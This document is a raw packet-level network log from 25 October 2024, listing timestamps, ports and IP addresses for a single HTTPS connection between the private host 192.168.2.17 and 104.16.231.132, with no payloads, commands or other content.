Oct 25, 2024 10:17:25.986584902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986602068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986625910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986674070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986834049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986880064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986902952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986915112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.986941099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.986958981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987211943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987231016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987272024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987283945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987308979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987354040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987540960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987560034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987611055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987631083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987660885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987694025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987808943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987828016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987863064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.987874985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.987900972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.988166094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988188982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988193989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.988205910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988224983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.988255978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.988523960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988550901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988612890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:25.988626957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:25.988682032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.023292065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.023339987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.023402929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.023422956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.023448944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.023492098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.023924112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.023941994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.023986101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.023998022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.024023056 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.024043083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100241899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100265026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100346088 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100368023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100436926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100513935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100533962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100601912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100616932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100800037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100819111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100831032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100852966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100873947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100888014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100914955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100941896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.100956917 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.100975990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101012945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101026058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101054907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101088047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101285934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101304054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101347923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101358891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101386070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101402044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101545095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101562977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101608992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101620913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101646900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101692915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101757050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101775885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101818085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101830959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.101855993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.101896048 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102008104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102026939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102072001 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102083921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102113008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102190971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102358103 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102380991 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102416039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102428913 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102452993 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102622032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102626085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102638960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102667093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102669954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102698088 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102710962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102736950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102756977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102792978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102813005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102853060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102864027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.102889061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.102946997 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103123903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103146076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103195906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103208065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103238106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103255987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103811026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103830099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103874922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103887081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.103915930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.103935957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104291916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104310989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104372025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104389906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104418039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104466915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104619980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104639053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104676008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104687929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104717016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104918957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.104935884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104954958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.104990959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105001926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105027914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105041027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105065107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105099916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105118036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105142117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105161905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105345964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105370998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105417013 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105429888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105456114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105474949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.105928898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105948925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.105993032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106007099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106029034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106034040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106057882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106090069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106103897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106134892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106158972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106462002 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106482029 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106518030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106529951 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.106559992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.106575966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.142416954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142437935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142528057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.142543077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142755032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.142837048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142857075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142909050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.142921925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.142960072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.142982006 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.219696045 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219717979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219784975 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.219796896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219810009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219832897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219839096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.219867945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.219881058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.219911098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220282078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220325947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220346928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220396042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220408916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220438957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220591068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220613003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220627069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220638990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220670938 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220689058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220707893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220737934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220756054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220810890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220810890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.220824957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.220895052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221164942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221183062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221237898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221250057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221276045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221318007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221339941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221359968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221415043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221431971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.221453905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221708059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.221993923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222012997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222069025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222083092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222140074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222187996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222213984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222249985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222261906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222286940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222289085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222316027 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222340107 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222353935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222383976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222404003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222657919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222676039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222717047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222729921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222759008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222780943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222866058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222886086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.222954988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.222968102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223023891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223177910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223197937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223287106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223299980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223362923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223380089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223402977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223438978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223450899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223476887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223501921 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223756075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223774910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.223841906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.223854065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224057913 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224313974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224340916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224386930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224400043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224441051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224519014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224540949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224575996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224595070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224617958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224658966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224677086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224730015 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224745035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224769115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224788904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224905968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224925995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.224975109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.224987984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225013971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.225060940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.225353003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225383043 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225430012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.225441933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225469112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.225588083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225609064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.225613117 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225631952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.225651026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.226020098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.226676941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.226696014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.226735115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.226747990 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.226774931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.226933956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.227390051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.261835098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.261854887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.261925936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.261940956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.261986017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.262312889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.262340069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.262413979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.262434006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.262491941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339241028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339286089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339354038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339354038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339370966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339431047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339750051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339792013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339823961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339837074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.339864016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.339903116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340085030 CEST	443	58442	104.16.231.132	192.168.2.17
